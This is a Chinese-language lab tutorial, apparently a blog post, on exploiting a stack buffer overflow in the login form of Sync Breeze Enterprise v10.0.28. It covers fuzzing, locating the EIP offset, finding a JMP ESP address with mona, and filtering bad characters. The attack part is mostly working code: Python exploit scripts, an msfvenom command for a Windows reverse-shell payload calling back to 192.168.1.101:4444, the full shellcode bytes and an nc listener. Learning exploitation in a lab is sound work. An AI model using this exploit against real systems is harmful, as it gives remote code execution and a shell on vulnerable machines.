windows 32位缓冲区溢出漏洞

0x00 环境准备

  1. windows10 32位虚拟机作为目标靶机、kali作为攻击机
  2. Immunity Debugger调试工具+mona脚本、存在漏洞版本的软件Sync Breeze Enterprise v10.0.28
  3. syncbreeze 安装完后打开web服务,漏洞点在web服务上
    在这里插入图片描述

0x01 漏洞调试

1. fuzz溢出长度

已知漏洞点是在web页面的登录用户名处,首先对抓取登录的请求包,用脚本fuzz用户名长度,看多长会使服务崩溃

#!/usr/bin/python3
import socket
import time
import sys
size = 100
while(size < 2000):
  try:
    print("\nSending evil buffer with %s bytes" % size)
    inputBuffer = "A" * size
    content = "username=" + inputBuffer + "&password=A"
    buffer = "POST /login HTTP/1.1\r\n"
    buffer += "Host: 172.16.12.142\r\n"
    buffer += "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0\r\n"
    buffer += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n"
    buffer += "Accept-Language: en-US,en;q=0.5\r\n"
    buffer += "Referer: http://172.16.12.142/login\r\n"
    buffer += "Connection: close\r\n"
    buffer += "Content-Type: application/x-www-form-urlencoded\r\n"
    buffer += "Content-Length: "+str(len(content))+"\r\n"
    buffer += "\r\n"
    buffer += content
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("172.16.12.142", 80))
    s.send(buffer.encode())
    s.close()
    size += 100
    time.sleep(10)
  except:
    print("\nCould not connect!")
    sys.exit()

通过fuzz发现在发送完800个字节(不代表正好800个字节产生溢出)的payload之后,程序崩溃
在这里插入图片描述
此时4个A被写入了EIP寄存器,同时可以看到ESP寄存器中也被写入了很多A,说明ESP寄存器也是可以通过溢出进行覆盖和控制的。后面整个思路就是通过向EIP寄存器内写入跳转ESP指令所在的内存地址,同时通过溢出覆盖向ESP寄存器中写入恶意代码实现命令执行。

在这里插入图片描述

2. 定位覆盖EIP寄存器的偏移量

以4个字节为一个字符序列单位,生成总长度800个字节的每四个字节序列不重复的字符序列
msf-pattern_create -l 800
在这里插入图片描述
将生成的字符序列赋值给程序中inputBuffer变量,发送请求
在这里插入图片描述
然后查找EIP寄存器中的字符序列在800个字节中偏移
msf-pattern_offset -l 800 -q 42306142

在这里插入图片描述
偏移量是780,也就是从第781个字符开始的4个字节会写入到EIP寄存器

3. 定位可以写入ESP寄存器的偏移和长度

修改代码传参,首先确定前面是780个A,接下来覆盖EIP的四个字节填充B,剩下16个字节填充C,修改代码如下

filler = "A" * 780
eip = "B" * 4
buffer = "C" * 16
inputBuffer = filler + eip + buffer

在这里插入图片描述
这里大概可以看出,ESP寄存器中的值就是后三组C填充的,所以ESP寄存器覆盖偏移量是788,接下来测定ESP寄存器中可以存的内容长度,以便判断是否满足反弹shell代码的最低长度

filler = "A" * 780
eip = "B" * 4
offset = "C" * 4
buffer = "D" * (1500 - len(filler) - len(eip) - len(offset))
inputBuffer = filler + eip + offset + buffer

一般来说,1500个字节左右就可以实现反弹shell的代码,大概数下有多少个D就是能够写入ESP中执行的代码长度

在这里插入图片描述

4. 寻找 jmp esp指令的内存地址

程序在运行时会加载链接库,而一些没有保护机制的库文件在执行时指令地址都是固定的,可以利用这个地址去做跳转
先在kali中用工具查询jmp esp指令的16进制代码msf-nasm_shell然后输入jmp esp
在这里插入图片描述

1. 先找模块

调试工具中利用mona进行查询:!mona modules,查出来找四个都是False的模块
在这里插入图片描述
这里使用libspp.dll模块

2. 模块中搜索FFE4

输入!mona find -s "\xFF\xE4" -m "libspp.dll"libspp.dll模块中查找jmp esp的内存地址
在这里插入图片描述
找到jmp esp 内存地址:10090c83,在调试工具中跳转到这个地址确认一下,并下个断点
在这里插入图片描述
接着将这个地址写入EIP寄存器中,CPU读取寄存器地址是倒着读的,所以写入的时候也要倒着写。

#!/usr/bin/python
import socket

try:
    print("\nSending evil buffer...")
    filler = "A" * 780
    eip = b"\x83\x0c\x09\x10"
    offset = "C" * 4
    buffer = "D" * (1500 - len(filler) - len(eip) - len(offset))
    inputBuffer = filler.encode() + eip + offset.encode() + buffer.encode()
    content = "username=".encode() + inputBuffer + "&password=A".encode()
    buffer = "POST /login HTTP/1.1\r\n"
    buffer += "Host: 172.16.12.142\r\n"
    buffer += "User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n"
    buffer += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
    buffer += "Accept-Language: en-US,en;q=0.5\r\n"
    buffer += "Referer: http://172.16.12.142/login\r\n"
    buffer += "Connection: close\r\n"
    buffer += "Content-Type: application/x-www-form-urlencoded\r\n"
    buffer += "Content-Length: " + str(len(content)) + "\r\n"
    buffer += "\r\n"
    buffer = buffer.encode()
    buffer += content
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("172.16.12.142", 80))
    s.send(buffer)
    s.close()
    print("\nDone!")
except Exception as e:
    print(e)
    print("\nCould not connect!")

这里要对字符串进行编码成字节形式,因为python3 socket要求发送的数据必须以字节形式,eip的数据没法以字符串的形式进行拼接(python2就不用考虑)

在发送请求前,记得再去打一下断点
在这里插入图片描述
F7步进到下一步,就会看到EIP寄存器中被写入了ESP的地址
在这里插入图片描述

5. 排除坏字符

坏字符是指在程序执行过程中,遇到这些字符就会退出正常运行状态,所以在正式注入反弹shell指令之前,还需要筛查排除一下坏字符。
0x00一般都是程序结束或截断的标志,所以这个一定是坏字符,生下的字符从0x010xff都遍历一遍,然后查看ESP中的值

badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" )
filler = "A" * 780
eip = "B" * 4
offset = "C" * 4
inputBuffer = filler + eip + offset + badchars

在这里插入图片描述
Follow in Dump进到ESP内存区域,观察字节顺序,发现到从\x01\x09之后就断了,说明\x0A是个坏字符,所以将上面badchars中的0x0A去掉之后再执行一遍同样的流程。依次类推,排查出所有坏字符\x00\x0A\x0D\x25\x26\x2B\x3D

生成shellcode

使用msfvenom生成Cshellcode-b参数排除坏字符

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.101 LPORT=4444 -f c -b "\x00\x0A\x0D\x25\x26\x2B\x3D" EXITFUNC=thread

在这里插入图片描述

将上面生成的shellcode复制到程序中badchars变量中,更改变量名为shellcode,同时要在shellcode前面添加几个字节的缓冲字节,防止前面几个字节被程序"吃掉"

shellcode = (
b"\xba\xaa\x0f\x42\x96\xdb\xc7\xd9\x74\x24\xf4\x58\x29\xc9"
b"\xb1\x52\x31\x50\x12\x03\x50\x12\x83\x6a\x0b\xa0\x63\x96"
b"\xfc\xa6\x8c\x66\xfd\xc6\x05\x83\xcc\xc6\x72\xc0\x7f\xf7"
b"\xf1\x84\x73\x7c\x57\x3c\x07\xf0\x70\x33\xa0\xbf\xa6\x7a"
b"\x31\x93\x9b\x1d\xb1\xee\xcf\xfd\x88\x20\x02\xfc\xcd\x5d"
b"\xef\xac\x86\x2a\x42\x40\xa2\x67\x5f\xeb\xf8\x66\xe7\x08"
b"\x48\x88\xc6\x9f\xc2\xd3\xc8\x1e\x06\x68\x41\x38\x4b\x55"
b"\x1b\xb3\xbf\x21\x9a\x15\x8e\xca\x31\x58\x3e\x39\x4b\x9d"
b"\xf9\xa2\x3e\xd7\xf9\x5f\x39\x2c\x83\xbb\xcc\xb6\x23\x4f"
b"\x76\x12\xd5\x9c\xe1\xd1\xd9\x69\x65\xbd\xfd\x6c\xaa\xb6"
b"\xfa\xe5\x4d\x18\x8b\xbe\x69\xbc\xd7\x65\x13\xe5\xbd\xc8"
b"\x2c\xf5\x1d\xb4\x88\x7e\xb3\xa1\xa0\xdd\xdc\x06\x89\xdd"
b"\x1c\x01\x9a\xae\x2e\x8e\x30\x38\x03\x47\x9f\xbf\x64\x72"
b"\x67\x2f\x9b\x7d\x98\x66\x58\x29\xc8\x10\x49\x52\x83\xe0"
b"\x76\x87\x04\xb0\xd8\x78\xe5\x60\x99\x28\x8d\x6a\x16\x16"
b"\xad\x95\xfc\x3f\x44\x6c\x97\xff\x31\x6f\x02\x68\x40\x6f"
b"\xdd\x34\xcd\x89\xb7\xd4\x9b\x02\x20\x4c\x86\xd8\xd1\x91"
b"\x1c\xa5\xd2\x1a\x93\x5a\x9c\xea\xde\x48\x49\x1b\x95\x32"
b"\xdc\x24\x03\x5a\x82\xb7\xc8\x9a\xcd\xab\x46\xcd\x9a\x1a"
b"\x9f\x9b\x36\x04\x09\xb9\xca\xd0\x72\x79\x11\x21\x7c\x80"
b"\xd4\x1d\x5a\x92\x20\x9d\xe6\xc6\xfc\xc8\xb0\xb0\xba\xa2"
b"\x72\x6a\x15\x18\xdd\xfa\xe0\x52\xde\x7c\xed\xbe\xa8\x60"
b"\x5c\x17\xed\x9f\x51\xff\xf9\xd8\x8f\x9f\x06\x33\x14\xbf"
b"\xe4\x91\x61\x28\xb1\x70\xc8\x35\x42\xaf\x0f\x40\xc1\x45"
b"\xf0\xb7\xd9\x2c\xf5\xfc\x5d\xdd\x87\x6d\x08\xe1\x34\x8d"
b"\x19" )
print("\nSending evil buffer...")
filler = "A" * 780
eip = b"\x83\x0c\x09\x10"
offset = "C" * 4
nops = b"\x90" * 10
inputBuffer = filler.encode() + eip + offset.encode() + nops + shellcode
content = "username=".encode() + inputBuffer + "&password=A".encode()

同时在kali上侦听4444端口

nc -nvlp 4444

在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值